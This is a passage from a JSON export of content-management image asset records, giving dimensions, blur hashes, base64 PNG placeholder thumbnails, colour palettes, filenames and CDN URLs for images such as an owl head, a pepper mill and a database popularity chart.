vz959WX37/un39/e/vr76+fHZj3n6KHBDhet8p1xK+/HhsDNOb07S7uGod2vcnU56s1H39rh3Or/7/PTN+8dfPl9efVh+fHr07GR0kVR7riEVjLFuGkIKIW3hCOFIO+NCOlI60s27Rb+4Xao2ys36ZqMSVnaK25uFsGA6nGoKAgBCABMEOLP3P0KZxrlOKAPAGBMAkgVAKCEUMEYAyvWcCjhLSwV1HVJORQjw+q3BGNe5aepC1wU3hG4LbphU40CIkgXEObdt05XctnRhG05GTEdK3xOe5wWbzWpysHvQ3x20Wv3tqB2EZdvOU8oVylhhw6t0ouYwjtI4Gnab4257ksSTOJ6028N4b5AOhycPj5av7lw8mC76g+P63swP6pRwhXFtqxq20lYzbSWzbns22DvspPd6vVncGdVHR+1kuB+1+pP+eDman+/PJ/1ld7iq1kaOIRTKqMwLN3At13Z8V/p5uyALYd7xpXTNjZLrBYEjiqFXroX19o2k05g2o+PKView8wpgoBojjAEm639O0dpbvLadUMaorhHTYI7FXcfwfRE6RtHirk51RUUIE0IoXadA1wRfX0u2Zb0ukwjLCGSjgPH1Ff4BudSX0ajhQAAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#61364b","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#68391b","foreground":"#fff","population":0.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eca197","foreground":"#000","population":1.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afcfab","foreground":"#000","population":0.54,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eca197","foreground":"#000","population":1.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0617c","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8b638","foreground":"#000","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d7bf6089fba22571ae2d5e8afa07609c9f10add7-930x684.png","path":"images/sczeoy4w/production/d7bf6089fba22571ae2d5e8afa07609c9f10add7-930x684.png","sha1hash":"d7bf6089fba22571ae2d5e8afa07609c9f10add7","size":202374,"uploadId":"mDmoJF9yYDMnrBN2HUnr4hPkdMcGhLxF","url":"https://cdn.sanity.io/images/sczeoy4w/production/d7bf6089fba22571ae2d5e8afa07609c9f10add7-930x684.png"} {"_createdAt":"2022-07-27T14:38:43Z","_id":"image-844a9ddb5f71d1b20b9290bb5b62f6f36b0b3be5-1200x1200-png","_rev":"x83dEXgiBTsn0wDtGtOQVd","_type":"sanity.imageAsset","_updatedAt":"2022-07-27T14:38:43Z","assetId":"844a9ddb5f71d1b20b9290bb5b62f6f36b0b3be5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eWGH}ZB@0J+rJ.#FEl%F$dI[DhM]-NS#f-tQjYi^NaX9S~t8oOR*fN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#314e68","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#694414","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa8a09","foreground":"#000","population":6.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ab4c7","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cb4ec","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#505e95","foreground":"#fff","population":0.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa8a09","foreground":"#000","population":6.83,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"owl-head-looking-straight.png","path":"images/sczeoy4w/production/844a9ddb5f71d1b20b9290bb5b62f6f36b0b3be5-1200x1200.png","sha1hash":"844a9ddb5f71d1b20b9290bb5b62f6f36b0b3be5","size":190171,"uploadId":"JOzq8yE2pm1R6vqjyU8l7zhJbcoptxy8","url":"https://cdn.sanity.io/images/sczeoy4w/production/844a9ddb5f71d1b20b9290bb5b62f6f36b0b3be5-1200x1200.png"} {"_createdAt":"2022-07-27T14:18:58Z","_id":"image-d699866b2225f891166022a9b49663f3285c6e47-1200x1200-png","_rev":"3LEiDiBGUONu1t3vrgqB7r","_type":"sanity.imageAsset","_updatedAt":"2022-07-27T14:18:58Z","assetId":"d699866b2225f891166022a9b49663f3285c6e47","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGHv*y=S03j~EZ}b$zNgNCI.02Jr?6V]-C^Cx3EgJ4WIWU=e=_AV5W","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFgUlEQVQ4jW3SfVSMeRQH8DsjQqbESc2Ud6IcL+16KVtCi12biEwlNM9TbMpq5hnT1ihFTeiZNisJh9pqw1JsXuZhj7Bydve0Yb3sOpzdDdGMGmyaaJi5d095Occ5fv/8fv/cz/3e37mAAZHwR5YeSK6C5wFyqNtX7lxXuNenQZP9UVN4gq81MHoE+ctdbTOjxSQOARwWBshzQHoVWHK08Cw7HUivBNqRAKvHtQKgvxwIHKFtHgO2wOjexxLX+xVrMzcUZ2bvOKLdzN5Zts6XJoZLmiZFiihGAaRTiux5aoe27IweJeG1IgkQFAVfhKeVm4DxNQNggBwuhbNA0+QOluCYAftiVoVlJn4l6DSpD3anbyoTNBv9X0Ur+nTksT3+vgVg06sc7LxaRnrlENq/wvF4dBVUhJyCL13vAwNNrxO2B0aJadpSyYugaFmFnJ2Vrogv0SYkPdSlpNYd0m1aadGn+tG29ePteZqRxHMjkedmW3TaiOvKIp+Ecc2OR25dhZlAwEY8A8BpcrAFRIrs/vJ+toBIt2uhiiE5yxSha9m4Axql8mqFbmO5uSAlhwrWfG0vSExAvWpte256bgO3t+zb0F91q7xNX8S6tXitdm7qyQxvBaCuP/SXg21GlNgaHNWLZi3vmRGlcImNVSxOSlp7sjBTe+PPncmXXpbNr7GXh+x7Wph0+FrWriul8ReauZn3mxjv1rOM+yO1QmIcrehrFAFRJxAA2BauBIpPBEphgMhZVJQxzzeDW1aUo01uPrFzXZuxaraps8bn9u1S9k55ltCmZe/iqjmPiRn/uJPxarmgGGAKU/Qz9QTM4gDrcwG3JotpW3JvS7amFwleA9uPjZDXbg8S8tJi27fnaqiuYjk9qpliu3yQteZuqbetTrRg3OJnyE5/SswY801mcMtyxu1RL8CCVEBeLUKeG4Q8NwN5LhgPTP+Uarz3398f2FqaEYVp65NxT74aLx9cQg2HWSrYeZbWpLZRnMJC7GdtL9gpT84zY80LmKEtDkA817WofZDngpDnspDncnFPxEY68MnPlpK5L89tXUIbVQxmaNV4dHcC3jiyGGsr03B7/plXKlWTKV7e9hM78z8l62cexfqYRW/BgchzEchz6chzStwVk0llc36zl4dYG/eGUMnmhajbEIfVRQpsrA5G8/GP6cbBSHPlN3sr1Wsaw1Z+bpWqQu70jF9hgbdgvzcJFyDP+eL3M+Zj1fgzdMzH2lHtQ9dLJ+PZ4nn4e1koPqgKxOcnRtHLU0Mbn/44kWv4jh3YsX84EAGsOkivQeI5MfIqN+S5oahXOqHgMQENskoyyCx2g4xenBiCrUcn4L0fZuHdAyH4pGoSvjo5+AaddlPQ6f5OdBfg1q4wYOHeGzBPCZifLML8ZAfM04jRIJORIE1EweMcCR6tJHjYrCeGk+mQP/1bMrfzQVnQP+3VY4vtBq8Ay/GxvegqAAlSiNd0AlBe98iAW1MBN+UC8ipAg6cDGqSDySBdhAZpIQoeV2wnvVofH5r08Fbhwov1utgtN/MXB3VUj5YQAoQAdYNJKZ3vRgbMUwPqlYC7YgAFKaDg1XX3RYPUhwQPxn5Klt9SMTnXkJy2esuM07OVo/4a5AoEaRPqIXtqbXfNe+cdciGo+00Gj+6u1poRIjozyMV20mvYLxnx3mrva36xLq2Tmf4m95RRDWJ/IIgA6wfAukWAguw1ZHB700AKV3Iiob16LNB5ESx1sDopnB/5sv2NU+Ncmj3iJM1iRmICVmLsrv3gQcHzTcIu1BOaSwLAdswTqAMgwb3RiXVpHsM4m8YzEtMAxskoYpxNwDgZP4y9D3eldQeFqxmIh+49Y12NfRhnkycjMUkZicmR6WcCRmJ8D/wfSwz8SOoziZcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c353d","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#260693","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fab51a","foreground":"#000","population":10.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8e0da","foreground":"#000","population":0.03,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f58f72","foreground":"#000","population":3.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a4c9b","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fab51a","foreground":"#000","population":10.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pepper-mill.png","path":"images/sczeoy4w/production/d699866b2225f891166022a9b49663f3285c6e47-1200x1200.png","sha1hash":"d699866b2225f891166022a9b49663f3285c6e47","size":89810,"uploadId":"sliKXIFnFrYOROKR0n98rtbSmUuwAoYg","url":"https://cdn.sanity.io/images/sczeoy4w/production/d699866b2225f891166022a9b49663f3285c6e47-1200x1200.png"} {"_createdAt":"2022-07-27T14:21:37Z","_id":"image-d6dd32b383c030760ecb1683d34d85b4ecd5b59d-1000x668-png","_rev":"x83dEXgiBTsn0wDtGtFkw1","_type":"sanity.imageAsset","_updatedAt":"2022-07-27T14:21:37Z","assetId":"d6dd32b383c030760ecb1683d34d85b4ecd5b59d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VbQ]yhs:V@t6Rj~qW=R+WqWV4nn%son%oK?bR+bbbHWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4970059880239521,"height":668,"width":1000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAACMUlEQVQ4jX2SvW4UQQyAt0GIAgkKCqprCKKko0OioeNZ0qFQ0fAApyBRUfAIaXkDoCXKKT2HRJTb2fm1x/bYaPZyR0AoxSePrZlv1p4diOh1a+2stWaIVUOIOk1+xvuwZ5rCvtb39Bhj0lqr9rPd0V0DER2JyEpEjJnnDYioXd7XO3q+Y1cjIhVpqqpduOquWcjMPZmFrbX/Ih1pyiLKsq3NJrOOqerfwlrrjcIuYRYl3gr7h80XMHesd7kX1lpXiHhdaNdhFiPqIxETaSZXtZRAN5tRnXOGiFthrfUIAFYAYLVuZ9LaPJP5ILEYAhmWaoRkQmyNyRirBef154+1XlxcWHfshd1eClhOoAhVqZJWQIUMWmLRHJJBiFZjNE7RJCdrUAxT1HFzqcEHI6I/LRPRWclFwxhauJw0jl7TOGm8dJo2TsFNit4r+KAwecUQVfrvIqxM1K5GdbYTvmHmcyjFovMWN86S85ZDtOyDFR8MUzLMxSCD5Vh6J8Yk/WVtR2vtvLsGYj5kkS+1ois5jzmlHl0pZQ/MEWZyLq4AOmZ2rTUnIiOz9PxrrfVwwItfL/M0vY0hfIgpHeeSlznfDAAsiWjJzMtaaYmInf64Lwb//t3i26ePTz+fnDz9fnp6ELxfpJQWKcZFimm7/oec8wIRZ0opc55zfphSujuMrw7uHz978uD540f3htt3bpnZsF6vh1LKME3T4L0fQghznCY/RwAY+r5OrTTElIdSYF7/BmmVrGkcgeC4AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#664847","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#140404","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#664847","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcacd4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d0c4f0","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a58e7c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc5854","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"chart-rising-popularity-of-time-series-databases-over-20-months.png","path":"images/sczeoy4w/production/d6dd32b383c030760ecb1683d34d85b4ecd5b59d-1000x668.png","sha1hash":"d6dd32b383c030760ecb1683d34d85b4ecd5b59d","size":28373,"uploadId":"PpSb4rmY0F2XhJtM8FMEQdzJ87rOVIxz","url":"https://cdn.sanity.io/images/sczeoy4w/production/d6dd32b383c030760ecb1683d34d85b4ecd5b59d-1000x668.png"} {"_createdAt":"2022-06-30T19:55:40Z","_id":"image-592abfce140048a450ea004b88ba36dcc5eb4777-400x248-png","_rev":"CK1sLU2mnwa3vmbYWEaQNx","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:13:41Z","assetId":"592abfce140048a450ea004b88ba36dcc5eb4777","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VCNT%h5600Io00~qoKIUtQMx00bH?vay-;~qkCE1aeNG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6129032258064515,"height":248,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACiklEQVQokX2S30tUQRTH97mkIqoHQyjoIYiSIOhBV80Sq3tVjDJIsgdJQ01KKndZdVlWfDHMH9BTWCJEEmW7phmBSvbS/vgD9KlYhMxdd7d7587Mvbv3GzO7WgR24MuBM8xnzvmecRTXNaC49hrUO514Pf8JaU0DZwyEEBBiwDAMUIOCcw7btvF3cMaxuLCA7gcP0dHejp6eHjhO1zXgVM1VKK13MTX3EclUCoZB8EvToOWl6zoopbAsC9lsVkqEqC1uAdvywBPKFRy/VI/q5ja8fP8BiWRSdicgojspSuVlxjgY52CMwcpkZO3L8jJ8Xi+67nflgMeq63C0qgYVt1oxGZzF+kYcyXQaaU2HQRkMxkEZl9kQVlAhCmaaIAZF6GsIg4OD6H7UDbfbDceRqloUnVfhbGrBRGAWPzbi2EylkdJ0kG1QXtwE5abMzLSgEwPhcARPhobgcrlywKILtThcWYPSplZMBOawkdiErhPohICKDvMSo5qWJUc1rYzMwo5IJILh4WF4PJ7cyAJWeE5Fyc1ch/HNJAy5YZL3jckNm6aJTCazvZSsbcvzaDSKkZER9Pb2oq+vD45DFSoOlis423gbLwKzclwBEa9L801LgrZgIlucw9J1kFQKkXAYo6OjEiaB+8tVe1+ZYp9pbMFEcN7WiCG/hLj8778TIWqmpoHFYtBjMURDIYyNjUmY1+uFY2+Zij1OBSevN9uPJ6ew+u074okEEjtInP1cW8P66irWVlbweWlJerjdYYFTtQucil14sQGXO922/+kzvHrzFjMzMzsqGAwiGAjg3fQ0no+PY2Bg4A9wV6liC+12qjhQWW+X3GjGPZcHfr///+rvl9nn88lRt/Qbjh/1ddyQmU8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f4b53","foreground":"#fff","population":2.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#163f4b","foreground":"#fff","population":13.96,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":16.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbd0d5","foreground":"#000","population":0.28,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eca6a3","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":16.92,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d95b61","foreground":"#fff","population":0.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"592abfce140048a450ea004b88ba36dcc5eb4777-400x248.png","path":"images/sczeoy4w/production/592abfce140048a450ea004b88ba36dcc5eb4777-400x248.png","sha1hash":"592abfce140048a450ea004b88ba36dcc5eb4777","size":27270,"uploadId":"0uG92qy9OTtfVj5RYjQa2oYf5EndQWTj","url":"https://cdn.sanity.io/images/sczeoy4w/production/592abfce140048a450ea004b88ba36dcc5eb4777-400x248.png"} {"_createdAt":"2022-06-15T20:01:29Z","_id":"image-3b496cb4be171bc2aa05c093fa8a2fdffa7a36b7-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7WAr","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:13Z","assetId":"3b496cb4be171bc2aa05c093fa8a2fdffa7a36b7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7SwGsvuVX+|Zh?rnTtSozZ%Q8VElTg3of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACK0lEQVQokR3Na0/aYByG8X4dD9vURKMcCxTQHgGHlNJyUNBSKAGs4BjqXJhmfmD6PPe/mGW8ud79cgk4VZHWIRmsqLMLhcnFUMmGmhhW0uFVmlkp7iSpJ9JUpUUFjxoWKhYKgiwfxQTESlTtoR+w0QPzRsysMznP5AwzMvy7yM00t5L8JotFg/66tGrTnybebCyULT4to+bx8TMLXth4zuwOU1SuXuBSproC+4LbEmtmmaciuIweDJppmMmYZrh/JvAjA8UWt3xuD1nDZWaH12xYDbRt3LXgNXFbZU5hbaV4K0W9NLlJ9OMYxDA8E/hBCVILjQk6U1xP4N6TN6XhGIMh9z1+P8S4y90au6vAK9Fdgbopuk1QPw4vJuCgTHqf/N+YvdPPD3r5oMWKnlb0uEQww/IHLe7pJYg+lpv3h2hqRjdZ6iZxm4AbF3BYIa1PvSWGrxS8UbDC+JmCXxQsaTqn+TyaB5un2eZ1/rn0P/1a1JbQTvHrBOtuz5A6KA94ZcjNMZwpd8a8M6HehHojcv3IH20G7qZtRg1tY51HjRw5Im8lWTsu8C8GP66yuBWe1VnCYlknlBwmt1DqULlJl05kNqOaSSUFmkTlHF1lqZ4hR0QrJbBdje1p4b6+3pZ9NdihwU9KFC9TskSiTjmN8gqK55AL0POo5FDdelsUwh013FHWu+p6Rw33VL6v45tBRwYd6zhRcaYgISN9jlyRFwpcycOQ/vurDFniP6vZbn0q0LbgAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#960218","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#820115","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc2c4b","foreground":"#fff","population":6.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bccac4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c44","foreground":"#fff","population":4.86,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#960218","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc2c4b","foreground":"#fff","population":6.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3b496cb4be171bc2aa05c093fa8a2fdffa7a36b7-752x405.png","path":"images/sczeoy4w/production/3b496cb4be171bc2aa05c093fa8a2fdffa7a36b7-752x405.png","sha1hash":"3b496cb4be171bc2aa05c093fa8a2fdffa7a36b7","size":101080,"uploadId":"5lla0hE4pYcF0k6U0kl0D55I9T9fMeT6","url":"https://cdn.sanity.io/images/sczeoy4w/production/3b496cb4be171bc2aa05c093fa8a2fdffa7a36b7-752x405.png"} {"_createdAt":"2022-06-15T20:01:31Z","_id":"image-f4977dca6b2a1d9f4e46b834664500349984f323-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEaZrZ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:20Z","assetId":"f4977dca6b2a1d9f4e46b834664500349984f323","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHTQqoysZ~wJkV#hk9fBf$i_iYZ#gOk9a#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACNUlEQVQokR2S3UtTcRjHzz8SpGRTZKJMU2uujdbKtzJMCSu1V0PmRZS1rKQ08LqLbiLJoDI0TdRIshnmWJ6zl3N0mx7nrEj34p9guvOJn/C5+N58n88DzyMRakZrQ2tFvUzoPIqLgJOgk5CdUJUgfJywHdWB5kBzop0gbCNYhlwsEWpi6RraFbR21BaCdQSrCdeiniLs2O9bCVgJWkVQq1CPGoFSfCXMl+2XI51Eu4i6BbFOVt3obvROopcIO1HKDV9ldsGelW0ESg25ZG/eYkwVMSbMzcRuoz9C70G/j95N/K4g4WH1FuGT/CzOfrfsfHX98zoMb0F2Jn9n6sjuR7MxkiuJhVe6id0h4ibWJcyxq0RbWb1B5AJBO/4S43vh7mTZ3oiFsRxj7MDuhGnvi8n4licJ4e/nrD0R/bVeEv1sPCPxmF99wr9yk0gbwUZjrtaYqORzIbM5xtxBw1fAolkiMUByeJ8PpD+RGSczQnKQ9FtSQ6Tfk3rH35dEe/C5UI4RKjfkfGQTilki/pTNIVKjZCbZniI9TPI1my9IviL1hu1xMqNsDaI/IFAjbharI1TBYh7yIYnlDuJ9xPvFlMQA8R7WugVxD+u9bPSz/pBYB2oTfhs/LPjPsNCAv4KASSJwVryH1i5eZakNrQm1AfUcS40stxBpRWtEtuIrxpvH9GGma/FeFxW9XmLRiVyDUo9Sh3IaxYFsQ7ERsBN0Ea4W2V/EvInZXGbMLFxkxcMfD1v3/gOIv9lH99zXBwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#956e03","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#815f02","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7de86","foreground":"#000","population":6.67,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4ccbc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7de86","foreground":"#000","population":6.67,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c746b","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#faba0b","foreground":"#000","population":6.34,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f4977dca6b2a1d9f4e46b834664500349984f323-752x405.png","path":"images/sczeoy4w/production/f4977dca6b2a1d9f4e46b834664500349984f323-752x405.png","sha1hash":"f4977dca6b2a1d9f4e46b834664500349984f323","size":128020,"uploadId":"MglW04VtiHkqXKj3n5HHvQJzuMGRsuXB","url":"https://cdn.sanity.io/images/sczeoy4w/production/f4977dca6b2a1d9f4e46b834664500349984f323-752x405.png"} {"_createdAt":"2022-06-15T20:01:34Z","_id":"image-a90c401ee8046c75bbe29b91dc036459d7ac0922-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7YgT","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:06Z","assetId":"a90c401ee8046c75bbe29b91dc036459d7ac0922","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5AT[=~C0KWU-;00tm-:tRRP00D%?bxaMx","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACfklEQVQokQXB+VeaAAAAYH5oL2fHa7NZlmelZd4KAh5IYih4A+KFuEwjjzQ12pxlNWu1t3pv6y/e9wEmOLXtIjUOQn2Ir+0FV0yI0uBX6CCF3r9khFdMiELr+6gDVQfYmjms0KNKU0hhQBe0yIIWAdw4h6XEcLoOxSteoriPpr8cYMsGSKkDlTpwSQ8tan1LO6jaRajssU9WQu0kl/ewD1pkUR8EYLJMl9tk4QylhQAtwPGyBU5qDsKfd+B1c2DLRWw6CZX9SAMmNkFah2T1SHbVgq/uYlseCvBEC8dcM1GUAnQVJLgwVYmkRZgseXEmQJWTYo8Se55k1XLEmCN5K1HUo3m1M26CM4fRIuCKMHimni6dJ5hGmCon2FP+